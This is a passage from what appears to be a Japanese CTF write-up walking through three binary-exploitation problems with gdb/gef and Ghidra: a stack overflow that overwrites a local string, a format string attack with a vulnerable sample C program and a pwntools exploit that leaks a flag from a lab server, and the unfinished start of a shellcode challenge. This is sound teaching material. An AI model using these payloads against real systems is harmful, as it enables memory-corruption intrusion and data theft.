ではまず前者から。
最初はchar gate[6]="close"で、基本的にリトルエンディアン(末尾側から順にメモリに格納する方式)で処理されていきます。
なので、"close"がメモリに格納される際は65 73 6f 6c 63と逆順になることに注意です。
これに留意して先ほどのディスアセンブル結果で探すと、
0x00000000000011a0 <+8>: mov DWORD PTR [rbp-0x6],0x736f6c63 0x00000000000011a7 <+15>: mov WORD PTR [rbp-0x2],0x65
がそれらしいと目星をつけられます。
このmovという命令は、mov A Bで「AにBを代入する」くらいの理解で大丈夫です。
なので、ここでは「DWORD PTRとかはよく分からんがRBPという変数(厳密にはレジスタと言います)の近くに"close"がセットされているのでは？」となります。
これが正しいことを確認しましょう。
代入が終わった次の命令0x00000000000011ad <+21>: mov QWORD PTR [rbp-0x20],0x2e2eの部分にブレークポイントを張ります。
このブレークポイントで停止すると、「main+15までは実行して、main+21以降は実行していない」状態です。
コマンドはb *(アドレス)です。アスタリスク(*)を忘れずに。
gef➤ b *main+21 Breakpoint 1 at 0x11ad
そして実行。ブレークポイントを張った*main+21実行直前で止まります。コマンドはrです。
gef➤ r (出力省略)
この時のRBP周辺をみてみます。コマンドはtel (アドレス) (表示行数)です。表示行数を設定しない場合、デフォルトで10です。
なお、これは設定したアドレス 以降 の情報しか見られないので、今回はRBP以前のアドレスも見るために少し前を指定します。
RBPなどのレジスタを設定するときは$をつけます。
gef➤ tel $rbp-0x20 15 0x00007fffffffdf30│+0x0000: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rsp 0x00007fffffffdf38│+0x0008: 0x00005555555550a0 → <_start+0> xor ebp, ebp 0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001 0x00007fffffffdf48│+0x0018: 0x0065736f6c630000 0x00007fffffffdf50│+0x0020: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffdf58│+0x0028: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax 0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe385 → "/home/kali/Downloads/die/gate" 0x00007fffffffdf68│+0x0038: 0x0000000100000000 0x00007fffffffdf70│+0x0040: 0x0000555555555198 → <main+0> push rbp 0x00007fffffffdf78│+0x0048: 0x00007ffff7e147cf → <init_cacheinfo+287> mov rbp, rax 0x00007fffffffdf80│+0x0050: 0x0000000000000000 0x00007fffffffdf88│+0x0058: 0x2f9571095b8cde23 0x00007fffffffdf90│+0x0060: 0x00005555555550a0 → <_start+0> xor ebp, ebp 0x00007fffffffdf98│+0x0068: 0x0000000000000000 0x00007fffffffdfa0│+0x0070: 0x0000000000000000
ありました。アドレス0x00007fffffffdf48の中身が0x0065736f6c630000となっているので、(リトルエンディアンに注意して) 0x00007fffffffdf4a ~ 0x00007fffffffdf4eに"close"という文字列が格納 ということが判明します。
では後半。
nameがどこに格納されるかを追うため、今度はscanf直前にブレークポイントを張ります。具体的にはmain+345の直前部分です。
そして、今の時点ではmain+21で止まっているので、コマンドcで再開します(rではありません)。
gef➤ b *main+345
Breakpoint 2 at 0x5555555552f1
gef➤ c
Breakpoint 2, 0x00005555555552f1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffdf30 → 0x0000000000002e2e (".."?)
$rbp : 0x00007fffffffdf50 → 0x0000555555555350 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffdf30 → 0x0000000000002e2e (".."?)
$rdi : 0x00005555555565b5 → "%32[^\n]"
$rip : 0x00005555555552f1 → <main+345> call 0x555555555080 <__isoc99_scanf@plt>
$r8 : 0xa
$r9 : 0x34
$r10 : 0x0000555555556580 → "You'll need permission to pass. What's your name?\[...]"
$r11 : 0x246
$r12 : 0x00005555555550a0 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf30│+0x0000: 0x0000000000002e2e (".."?) ← $rsp, $rsi
0x00007fffffffdf38│+0x0008: 0x0000000000000000
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001
0x00007fffffffdf48│+0x0018: 0x0065736f6c630000
0x00007fffffffdf50│+0x0020: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdf58│+0x0028: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax
0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe385 → "/home/kali/Downloads/die/gate"
0x00007fffffffdf68│+0x0038: 0x0000000100000000
──────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555552e2 <main+330> mov rsi, rax
0x5555555552e5 <main+333> lea rdi, [rip+0x12c9] # 0x5555555565b5
0x5555555552ec <main+340> mov eax, 0x0
→ 0x5555555552f1 <main+345> call 0x555555555080 <__isoc99_scanf@plt>
↳ 0x555555555080 <__isoc99_scanf@plt+0> jmp QWORD PTR [rip+0x2fba] # 0x555555558040 <__isoc99_scanf@got.plt>
0x555555555086 <__isoc99_scanf@plt+6> push 0x5
0x55555555508b <__isoc99_scanf@plt+11> jmp 0x555555555020
0x555555555090 <__cxa_finalize@plt+0> jmp QWORD PTR [rip+0x2f62] # 0x555555557ff8
0x555555555096 <__cxa_finalize@plt+6> xchg ax, ax
0x555555555098 add BYTE PTR [rax], al
──────────────────────────────────────────────────────── arguments (guessed) ────
__isoc99_scanf@plt (
$rdi = 0x00005555555565b5 → "%32[^\n]",
$rsi = 0x00007fffffffdf30 → 0x0000000000002e2e (".."?)
)
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "gate", stopped 0x5555555552f1 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555552f1 → main()
─────────────────────────────────────────────────────────────────────────────────
すると、上の部分でarguments(guessed)という部分があると思います1。
これは、C言語でいうscanf("%32[^\n]", name);を「"%32[^\n]"という規則にのっとって読み込んだ文字をnameに格納する」と解釈するならば、
このアセンブリ言語でのscanfは「レジスタRDIに書かれている規則にのっとって読み取った文字をレジスタRSI=0x00007fffffffdf30に格納する」となります。
念のため確認してみます。コマンドniで一行だけ(つまりmain+345のscanf部分だけ)実行します。
すると、scanfの性質上標準入力からの入力待ちになるので、適当にAAAAと(あえて短いものを)入力します。
gef➤ ni > AAAA (出力省略)
そして、アドレス0x00007fffffffdf30の中を覗きます2。telコマンドではアスタリスク不要です。
gef➤ tel 0x00007fffffffdf30 5
0x00007fffffffdf30│+0x0000: 0x0000000041414141 ("AAAA"?) ← $rsp
0x00007fffffffdf38│+0x0008: 0x0000000000000000
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001
0x00007fffffffdf48│+0x0018: 0x0065736f6c630000
0x00007fffffffdf50│+0x0020: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rbp
これにて、0x00007fffffffdf30 ~ 0x00007fffffffdf33に"AAAA"という文字列が格納 ということが判明します(先ほどの"close"の部分も見えますね)。
以上をまとめると、
「アドレス0x00007fffffffdf30から"A"を連続で入力し続けると、27文字目で変数nameが格納されている0x00007fffffffdf4a部分に突入し、もともとあった"close"の文字列も上書き可能である」
=> 「"A" * 26 + "open" を入力すればよい」
となります。
2問目：1989
ソースコードも実行ファイルもなしです。リモートサーバに接続すると以下のように表示3。
$ nc 10.1.1.10 13030
===========================================================
_______ ________ __ ____ _ _
/ ____\ \ / / ____| /_ |___ \| || |
| | \ \ /\ / /| |__ ______ | | __) | || |_
| | \ \/ \/ / | __| |______| | ||__ <|__ _|
| |____ \ /\ / | |____ | |___) | | |
\_____| \/ \/ |______| |_|____/ |_|
==========================================================
|
flag | [0x56628060] >> flag is here <<
|
Ready > hoge
Your Inpur : hoge
基本的にReady >の後に何か文字を入力すると、それと同じ入力がYour Inpur :として表示されます(ここはおそらく作問時の誤字ですね)。
さて、CWE-134を調べるとFormat String Attack(書式文字列攻撃)とのこと。
これでピンとくる人は、方針に関しては大丈夫でしょう。
簡単に言うと、printf("%s", flag)はいいけどprintf(flag)はマズい、ということです。
いまのコンパイラは優秀なので、後者のような書き方をするとWarningが出るようになっています。
Format String Attackとは
サンプルとして以下のsample.cを紹介します。
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(void) { printf("Format String Attack Test\n"); scanf("%31s", buf); printf(buf); return 0; }
当然ですが、printf(buf)のところが問題です。これがどう意図せぬ挙動を引き起こすかを見てみます。
色々設定を無効にするため、コンパイルは
$ gcc sample.c -o sample -fstack-protector -fno-PIE -no-pie -m32
で。最低でも32ビットコンパイルをするための-m32オプションだけは必須です。
32ビットコンパイルができない場合は
$ sudo apt install libc6-dev-i386
の後再度実行してください。それ以外のエラーはおそらくsudo apt upgradeなどで解消します。
この実行ファイルsampleを動かし、%p,%p,%p,%p,%pなどを入力すると一見不思議な結果が返ってきます。
$ ./sample Format String Attack Test %p,%p,%p,%p,%p 0x804c060,0xffb60aac,0x80491fd,0xf7f5a230,0xffb60a00
どこからこれが登場したのか、gdbで説明します。
まずは「gdb起動→main関数ディスアセンブル→(謎の出力をする)printf直前でブレークポイント」を実行します。
前半に登場するcall 0x8049040 <puts@plt>はprintf("Format String Attack Test\n");の部分なので関係ありません。
$ gdb -q ./sample gef➤ disas main Dump of assembler code for function main: 0x08049182 <+0>: lea ecx,[esp+0x4] 0x08049186 <+4>: and esp,0xfffffff0 0x08049189 <+7>: push DWORD PTR [ecx-0x4] 0x0804918c <+10>: push ebp 0x0804918d <+11>: mov ebp,esp 0x0804918f <+13>: push ecx 0x08049190 <+14>: sub esp,0x4 0x08049193 <+17>: sub esp,0xc 0x08049196 <+20>: push 0x804a008 0x0804919b <+25>: call 0x8049040 <puts@plt> 0x080491a0 <+30>: add esp,0x10 0x080491a3 <+33>: sub esp,0x8 0x080491a6 <+36>: push 0x804c060 0x080491ab <+41>: push 0x804a022 0x080491b0 <+46>: call 0x8049060 <__isoc99_scanf@plt> 0x080491b5 <+51>: add esp,0x10 0x080491b8 <+54>: sub esp,0xc 0x080491bb <+57>: push 0x804c060 0x080491c0 <+62>: call 0x8049030 <printf@plt> 0x080491c5 <+67>: add esp,0x10 0x080491c8 <+70>: mov eax,0x0 0x080491cd <+75>: mov ecx,DWORD PTR [ebp-0x4] 0x080491d0 <+78>: leave 0x080491d1 <+79>: lea esp,[ecx-0x4] 0x080491d4 <+82>: ret End of assembler dump. gef➤ b *main+62
そしてrコマンドで謎出力をするmain+62直前まで実行。途中で要求される標準入力は%p,%p,%p,%p,%pで。
gef➤ r
%p,%p,%p,%p,%p
Breakpoint 1, 0x080491c0 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x1
$ebx : 0x0
$ecx : 0xf7f3e380 → 0x00020002
$edx : 0xf7faf000 → 0x001e4d6c
$esp : 0xffffd0f0 → 0x0804c060 → "%p,%p,%p,%p,%p"
$ebp : 0xffffd108 → 0x00000000
$esi : 0xf7faf000 → 0x001e4d6c
$edi : 0xf7faf000 → 0x001e4d6c
$eip : 0x080491c0 → 0xfffe6be8 → 0x00000000
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0f0│+0x0000: 0x0804c060 → "%p,%p,%p,%p,%p" ← $esp
0xffffd0f4│+0x0004: 0x0804c060 → "%p,%p,%p,%p,%p"
0xffffd0f8│+0x0008: 0xffffd1cc → 0xffffd39a → "COLORFGBG=15;0"
0xffffd0fc│+0x000c: 0x080491fd → <__libc_csu_init+29> lea ebx, [ebp-0xf0]
0xffffd100│+0x0010: 0xf7fe3230 → push ebp
0xffffd104│+0x0014: 0xffffd120 → 0x00000001
0xffffd108│+0x0018: 0x00000000 ← $ebp
0xffffd10c│+0x001c: 0xf7de8e46 → <__libc_start_main+262> add esp, 0x10
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80491b5 <main+51> add esp, 0x10
0x80491b8 <main+54> sub esp, 0xc
0x80491bb <main+57> push 0x804c060
→ 0x80491c0 <main+62> call 0x8049030 <printf@plt>
↳ 0x8049030 <printf@plt+0> jmp DWORD PTR ds:0x804c00c
0x8049036 <printf@plt+6> push 0x0
0x804903b <printf@plt+11> jmp 0x8049020
0x8049040 <puts@plt+0> jmp DWORD PTR ds:0x804c010
0x8049046 <puts@plt+6> push 0x8
0x804904b <puts@plt+11> jmp 0x8049020
───────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
[sp + 0x0] = 0x0804c060 → "%p,%p,%p,%p,%p",
[sp + 0x4] = 0x0804c060 → "%p,%p,%p,%p,%p",
[sp + 0x8] = 0xffffd1cc → 0xffffd39a → "COLORFGBG=15;0",
[sp + 0xc] = 0x080491fd → <__libc_csu_init+29> lea ebx, [ebp-0xf0]
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sample", stopped 0x80491c0 in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491c0 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
ここで、stackの部分に注目すると
0xffffd0f0│+0x0000: 0x0804c060 → "%p,%p,%p,%p,%p" ← $esp 0xffffd0f4│+0x0004: 0x0804c060 → "%p,%p,%p,%p,%p" 0xffffd0f8│+0x0008: 0xffffd1cc → 0xffffd39a → "COLORFGBG=15;0" 0xffffd0fc│+0x000c: 0x080491fd → <__libc_csu_init+29> lea ebx, [ebp-0xf0] 0xffffd100│+0x0010: 0xf7fe3230 → push ebp 0xffffd104│+0x0014: 0xffffd120 → 0x00000001 0xffffd108│+0x0018: 0x00000000 ← $ebp 0xffffd10c│+0x001c: 0xf7de8e46 → <__libc_start_main+262> add esp, 0x10
となっていることに留意します。
これ以上ブレークポイントは張っていないので、いったんコマンドcでプログラムを最後まで実行し、2回目のprintf出力を表示させます。
gef➤ c Continuing. 0x804c060,0xffffd1cc,0x80491fd,0xf7fe3230,0xffffd120[Inferior 1 (process 71515) exited normally]
ここで表示される値は「stackの2行目からのアドレス」と一致しています4。
そして、先ほどは%pとしていましたが、これを%sに置き換えると、「stackの2行目からのアドレス の中身 」に代わります。
当然、1つ目(アドレス0x0804c060)以外の中身は、ASCIIで表示される範囲外のバイトを含むため文字化けします。
$ ./sample
Format String Attack Test
%s,%s,%s,%s
%s,%s,%s,%s,�3���3���3��
4��B4��c4��p4���4���4���4���4���4���4���4��5���5���5���5���5��6��6��i6��|6���6���6���6���6���6��7�� 7��97���7���7���7���7���7��)8��@8��e8��v8���8���8���8��9����;9��*?��B?��Z?��o?���?���?���?���?��,�������
���)���t%1���,U��W���
ここまででFormat String Attackの説明はおしまいです。
ざっくり言うと、printfはこのstackの部分に積まれた情報を%sなど指定されたフォーマットをもとに表示する仕組みになっています。
なので、簡単にこの脆弱性をまとめると、「printf(flag)のようなコードに対してflag="%p"とするとstackという場所(の2行目以降)に積まれているアドレスそのものが、flag="%s"とするとそのアドレスの中身が表示される」となります。
writeup
では問題の解説に移ります。まずは%pを入力してみます。
$ nc 10.1.1.10 13030
|
flag | [0x565b8060] >> flag is here <<
|
Ready > %p,%p,%p,%p,%p,%p
Your Inpur : 0xffc98a00,0xffc98e08,0x565b5306,0x252c7025,0x70252c70,0x2c70252c
表示されるアドレスは毎回異なりますので注意が必要です。
ここで"%p,"という文字列そのものがリトルエンディアンで格納されるときは2c 70 25となっていて、上のアドレスの4番目がこれによく似ていることに注意すると、stackの構造としては以下のようになっていると想像できます。
stack│+0x0000: ???????? (stackの先頭) stack│+0x0004: 0xffc98a00 (最初の%p部分, stack2行目) stack│+0x0008: 0xffc98e08 (2回目の%p部分) stack│+0x000c: 0x565b5306 (3回目の%p部分) stack│+0x0010: 0x252c7025 (ここから入力文字列がリトルエンディアンで格納)
では、ASCIIで表示できるかどうかは一旦置いておいて、文字列として\x60\x80\x5b\x56が入力できた場合を考えます。
すると、当然ですが以下のようなstackの状態になります。
stack│+0x0000: ???????? stack│+0x0004: 0xffc98a00 (最初の%p部分) stack│+0x0008: 0xffc98e08 stack│+0x000c: 0x565b5306 stack│+0x0010: 0x565b8060 (flagのあるアドレス)
そして、この状態で%sを使えばflagのあるアドレスの中身(つまりflag自身)を覗けます。
先頭を除いて4行目のアドレスの中身表示なので%sを4回使わなければいけないように見えますが、実は%(count)$sとすることで「先頭を除いて(count)行目のstackのアドレスの中身表示」が可能です。
なので、理論上は「flagのアドレス + '%4$s'」を入力すれば答えとなります。
では、\x60\x80\x5b\x56などといったflagのアドレスをどう入力すればよいでしょうか？
\x80はASCII表示できませんし、毎回設定されるflagのアドレスはバラバラなので
$ python3 -c "print('\x60\x80\x5b\x56')" | nc 10.1.1.10 13030
のようなパイプは使えません。
そこで、ここではpwntoolsを用いたPythonでのエクスプロイトコードを紹介します。
今回のWebshellには入っていますが、手元のローカル環境で色々デバッグしたいときは$ python3 -m pip install pwntoolsでどうぞ。
#!/usr/bin/python3 from pwn import * # リモートサーバ接続 conn = remote('10.1.1.10', 13030) # flagアドレス直前まで取得 conn.recvuntil(b'flag | [') # flagアドレス(str型)を取得後、一度int型に直してリトルエンディアンに変換 flag_addr = conn.recvuntil(b']')[:-1].decode() flag_addr = int(flag_addr, 16).to_bytes(4, 'little') # payload生成、送信 payload = flag_addr + b'%4$s' conn.recvuntil(b'Ready > ') conn.sendline(payload) print(conn.recvline()) # なくてもよい conn.close()
これをリモートサーバ上で$ vi ./exploit.pyなどとして作成し、実行すれば良いでしょう。
3問目：Shellcode
ソースコードはなく、実行ファイルが与えられます。いかにもpwnといった感じです。
「ディスアセンブル！アセンブリ言語読んで挙動把握！エクスプロイトコード書く！」
みたいな(決して間違ってはないですが)不親切なwriteupにはしません。
まずは(万能)静的解析ツールGhidraを導入します。
基本的にGhidraの使い方 | 初心者がリバースエンジニアリングツールGhidraを使ってみたを参照すればよいでしょう。
この記事の先頭から「Ghidraでmain関数をデコンパイルする」まで読んで、今回の実行ファイルshellcodeを使って自分で同じように動かしてみてください。本当に親切に書かれています。
さて、Ghidraでのデコンパイル結果がこちらです。
undefined8 main(void) { char local_58 [80]; setvbuf(stdout,local_58,2,0x50); puts(" |"); printf("target | [%p]\n",local_58); puts(" |"); printf("Well. Ready for the shellcode?\n> "); __isoc99_scanf("%[^\n]",local_58); puts(local_58); return 0; }
念のためですが、このデコンパイル結果を100%信用しないようにしましょう。
実行ファイルによっては関数の引数の個数が時々バラバラだったりします。
なので、だいたいの挙動を(アセンブリ言語よりは見やすい形で)把握するくらいの認識で。
ちなみに、定義自体はされているがmain関数では呼び出されていない隠された関数(例えばshow_flagみたいな露骨に怪しそうな関数など)がないかどうかは、gdbを起動して
gef➤ i functions All defined functions: Non-debugging symbols: 0x0000000000001000 _init 0x0000000000001030 puts@plt 0x0000000000001040 printf@plt 0x0000000000001050 setvbuf@plt 0x0000000000001060 __isoc99_scanf@plt 0x0000000000001070 __cxa_finalize@plt 0x0000000000001080 _start 0x00000000000010b0 deregister_tm_clones 0x00000000000010e0 register_tm_clones 0x0000000000001120 __do_global_dtors_aux 0x0000000000001160 frame_dummy 0x0000000000001165 main 0x0000000000001200 __libc_csu_init 0x0000000000001260 __libc_csu_fini 0x0000000000001264 _fini
で確認できます(もしかするとgefにしかないかもしれません)。本問題では特に怪しい関数はありません。
挙動確認
上のデコンパイル結果を見るに、重要そうなのは
__isoc99_scanf("%[^\n]",local_58);
puts(local_58);
くらいで、scanfしてputsで表示。これだけです(ちなみにここでGhidraの出番は終了です)。
当然printfではないのでFormat String Attackは使えません。また、入力が長いと
$ ./shellcode
|
target | [0x7ffc4c759850]
|
Well. Ready for the shellcode?
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
zsh: segmentation fault (core dumped) ./shellcode
とエラーを吐きます。
ではここから、このエラーの原因をgdbで探っていきます。
例によって「gdb起動 → ディスアセンブル → scanf直前にブレークポイント」
またmain関数終了直前にもブレークポイントを張っておきます。そして(scanf直前まで)実行。
$ gdb -q ./shellcode
gef➤ disas main
Dump of assembler code for function main:
0x0000000000001165 <+0>: push rbp
0x0000000000001166 <+1>: mov rbp,rsp
...
0x00000000000011d9 <+116>: mov eax,0x0
0x00000000000011de <+121>: call 0x1060 <__isoc99_scanf@plt>
0x00000000000011e3 <+126>: lea rax,[rbp-0x50]
0x00000000000011e7 <+130>: mov rdi,rax
0x00000000000011ea <+133>: call 0x1030 <puts@plt>
0x00000000000011ef <+138>: mov eax,0x0
0x00000000000011f4 <+143>: leave
0x00000000000011f5 <+144>: ret
End of assembler dump.
gef➤ b *main+121
Breakpoint 1 at 0x11de
gef➤ b *main+144
Breakpoint 2 at 0x11f5
gef➤ r
|
target | [0x7fffffffdf20]
|
Well. Ready for the shellcode?
>
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000
$rsp : 0x00007fffffffdf20 → 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode"
$rbp : 0x00007fffffffdf70 → 0x0000555555555200 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffdf20 → 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode"
$rdi : 0x0000555555556042 → 0x1b01005d0a5e5b25 ("%[^\n]"?)
$rip : 0x00005555555551de → <main+121> call 0x555555555060 <__isoc99_scanf@plt>
$r8 : 0x21
$r9 : 0x6552202e6c6c6557 ("Well. Re"?)
$r10 : 0x20726f6620796461 ("ady for "?)
$r11 : 0x246
$r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe050 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf20│+0x0000: 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode" ← $rsp, $rsi
0x00007fffffffdf28│+0x0008: 0x0000000000000001
0x00007fffffffdf30│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode"
0x00007fffffffdf38│+0x0018: 0x0000555555555245 → <__libc_csu_init+69> add rbx, 0x1
0x00007fffffffdf40│+0x0020: 0x00007ffff7de3b40 → <_dl_fini+0> push rbp
0x00007fffffffdf48│+0x0028: 0x0000000000000000
0x00007fffffffdf50│+0x0030: 0x0000555555555200 → <__libc_csu_init+0> push r15
0x00007fffffffdf58│+0x0038: 0x0000555555555080 → <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555551cf <main+106> mov rsi, rax
0x5555555551d2 <main+109> lea rdi, [rip+0xe69] # 0x555555556042
0x5555555551d9 <main+116> mov eax, 0x0
→ 0x5555555551de <main+121> call 0x555555555060 <__isoc99_scanf@plt>
↳ 0x555555555060 <__isoc99_scanf@plt+0> jmp QWORD PTR [rip+0x2fca] # 0x555555558030
0x555555555066 <__isoc99_scanf@plt+6> push 0x3
0x55555555506b <__isoc99_scanf@plt+11> jmp 0x555555555020
0x555555555070 <__cxa_finalize@plt+0> jmp QWORD PTR [rip+0x2f82] # 0x555555557ff8
0x555555555076 <__cxa_finalize@plt+6> xchg ax, ax
0x555555555078 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
__isoc99_scanf@plt (
$rdi = 0x0000555555556042 → 0x1b01005d0a5e5b25 ("%[^\n]"?),
$rsi = 0x00007fffffffdf20 → 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551de in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551de → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00005555555551de in main ()
1問目でも言いましたが、arguments(guessed)の部分を見ると、scanfはRDIの規則にのっとってRSIに文字列を格納するので、アドレス0x00007fffffffdf20が格納先になります。
なお、このアドレスがtargetとして表示されるものです。
では、短い入力("AAAA")を入れてmain関数終了直前まで続行します。
gef➤ c
Continuing.
AAAA
AAAA
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7af2224 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000
$rsp : 0x00007fffffffdf78 → 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax
$rbp : 0x0000555555555200 → <__libc_csu_init+0> push r15
$rsi : 0x00007ffff7dce7e3 → 0xdcf8c0000000000a
$rdi : 0x1
$rip : 0x00005555555551f5 → <main+144> ret
$r8 : 0x4
$r9 : 0x0
$r10 : 0x0
$r11 : 0x246
$r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe050 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax ← $rsp
0x00007fffffffdf80│+0x0008: 0x0000002000000000
0x00007fffffffdf88│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode"
0x00007fffffffdf90│+0x0018: 0x0000000100000000
0x00007fffffffdf98│+0x0020: 0x0000555555555165 → <main+0> push rbp
0x00007fffffffdfa0│+0x0028: 0x0000000000000000
0x00007fffffffdfa8│+0x0030: 0xd84c5aabf0087130
0x00007fffffffdfb0│+0x0038: 0x0000555555555080 → <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555551ea <main+133> call 0x555555555030 <puts@plt>
0x5555555551ef <main+138> mov eax, 0x0
0x5555555551f4 <main+143> leave
→ 0x5555555551f5 <main+144> ret
↳ 0x7ffff7a03bf7 <__libc_start_main+231> mov edi, eax
0x7ffff7a03bf9 <__libc_start_main+233> call 0x7ffff7a25240 <__GI_exit>
0x7ffff7a03bfe <__libc_start_main+238> mov rax, QWORD PTR [rip+0x3ceda3] # 0x7ffff7dd29a8 <__libc_pthread_functions+392>
0x7ffff7a03c05 <__libc_start_main+245> ror rax, 0x11
0x7ffff7a03c09 <__libc_start_main+249> xor rax, QWORD PTR fs:0x30
0x7ffff7a03c12 <__libc_start_main+258> call rax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551f5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 2, 0x00005555555551f5 in main ()
ここで注目すべきはcode:x86:64の部分で、これは「main関数が終わったら次は__libc_start_main+231の内容を実行するよ」ということを意味しています。
この情報は上のstackの部分の1行目0x00007fffffffdf78から引っ張ってきます(これがret命令の挙動です)。
なので、ret命令は「stackの先頭0x00007fffffffdf78に格納されているアドレスにジャンプして、その中身を実行するよ」ということになります5。
では、今度は長い入力をいれてみます。
「再度最初から走らせるためr → 1個目のブレークポイント(scanf直前)で止まるのでcで続行 → 標準入力に"a"を100個入力」とします。
gef➤ r
(出力省略)
gef➤ c
